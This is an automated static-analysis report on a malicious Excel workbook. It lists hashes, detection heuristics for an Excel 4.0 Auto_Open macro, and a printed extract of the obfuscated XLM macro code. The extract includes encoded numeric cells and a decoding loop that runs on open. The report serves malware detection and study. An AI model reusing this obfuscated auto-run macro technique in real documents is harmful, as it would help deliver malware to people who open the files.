Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 33bf0eaa61e264c6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:01 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 4906cff1c41a6350ac48171bf09b3194 SHA-1: 0760fe94ce6fdd08a81d237dca9e52ed3af29b74 SHA-256: 33bf0eaa61e264c61b111326b8bf422ab16b50d8ff399c92a16688a302d15afc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6590 bytes
SHA-256: 3ef1c9708b39b8e5b9e215e92415edd1e4d704bee48f4ff6822d66f953c77779
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Qes
' 0018     20 LABEL : Cell Value, String Constant - AmfYY len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G186 
' 0018     21 LABEL : Cell Value, String Constant - bDrrTX len=0 
' 0018     23 LABEL : Cell Value, String Constant - cfCGeZrb len=0 
' 0018     20 LABEL : Cell Value, String Constant - ddSuS len=0 
' 0018     23 LABEL : Cell Value, String Constant - dfNKsFUE len=0 
' 0018     22 LABEL : Cell Value, String Constant - ftZTZyE len=0 
' 0018     24 LABEL : Cell Value, String Constant - hafzjpHoo len=0 
' 0018     22 LABEL : Cell Value, String Constant - iULgNsy len=0 
' 0018     25 LABEL : Cell Value, String Constant - iUQCeYjRkU len=0 
' 0018     21 LABEL : Cell Value, String Constant - jZGlRA len=0 
' 0018     24 LABEL : Cell Value, String Constant - MijqMUfMD len=0 
' 0018     20 LABEL : Cell Value, String Constant - OaaqO len=0 
' 0018     27 LABEL : Cell Value, String Constant - QLsVhgaXOjau len=0 
' 0018     21 LABEL : Cell Value, String Constant - SajGdG len=0 
' 0018     23 LABEL : Cell Value, String Constant - soYWGPpZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - sSTEeHP len=0 
' 0018     22 LABEL : Cell Value, String Constant - sXpQBaA len=0 
' 0018     23 LABEL : Cell Value, String Constant - wSShHdbO len=0 
' 0018     27 LABEL : Cell Value, String Constant - xHwEOdqgIKKc len=0 
' 0018     25 LABEL : Cell Value, String Constant - ySFkDgjiuo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Qes,G93,"SET.NAME("xHwEOdqgIKKc",0+VALUE("0"))",""
'  Qes,Q93,"",-975.00000000000000000000
'  Qes,Q94,"",390.00000000000000000000
'  Qes,Q95,"",-956.00000000000000000000
'  Qes,Q96,"",-80.00000000000000000000
'  Qes,Q97,"",390.00000000000000000000
'  Qes,G98,"SET.NAME("sXpQBaA",xHwEOdqgIKKc)",""
'  Qes,Q98,"",-457.00000000000000000000
'  Qes,G102,"SET.NAME("SajGdG",xHwEOdqgIKKc)",""
'  Qes,G105,"SET.NAME("ySFkDgjiuo",COUNTA(QLsVhgaXOjau))",""
'  Qes,G110,"SET.NAME("iUQCeYjRkU",COUNTA(hafzjpHoo))",""
'  Qes,G112,[],""
'  Qes,G114,"SET.NAME("ddSuS","")",""
'  Qes,G119,"sXpQBaA",""
'  Qes,G123,"SET.NAME("soYWGPpZ",HLOOKUP("*",QLsVhgaXOjau,sXpQBaA,FALSE))",""
'  Qes,G128,"ftZTZyE",""
'  Qes,G131,"SET.NAME("jZGlRA",xHwEOdqgIKKc)",""
'  Qes,G134,[],""
'  Qes,G138,"jZGlRA",""
'  Qes,G142,"AmfYY",""
'  Qes,G146,"dfNKsFUE",""
'  Qes,G149,"cfCGeZrb",""
'  Qes,G152,"SET.NAME("wSShHdbO",VALUE(HLOOKUP("*",hafzjpHoo,cfCGeZrb,FALSE)))",""
'  Qes,G154,"sSTEeHP",""
'  Qes,G156,"ddSuS",""
'  Qes,G158,"SajGdG",""
'  Qes,G162,NEXT(),""
'  Qes,G164,"OaaqO",""
'  Qes,G169,[],""
'  Qes,G174,"MijqMUfMD",""
'  Qes,G179,NEXT(),""
'  Qes,G183,RETURN(),""
'  Qes,G209,"SET.NAME("bDrrTX",G93)",""
'  Qes,G211,"QLsVhgaXOjau",""
'  Qes,G214,"SET.NAME("hafzjpHoo",R40C12)",""
'  Qes,G219,"SET.NAME("MijqMUfMD",226)",""
'  Qes,G223,"SET.NAME("iULgNsy",7)",""
'  Qes,G225,bDrrTX(),""
'  Qes,G226,HALT(),""

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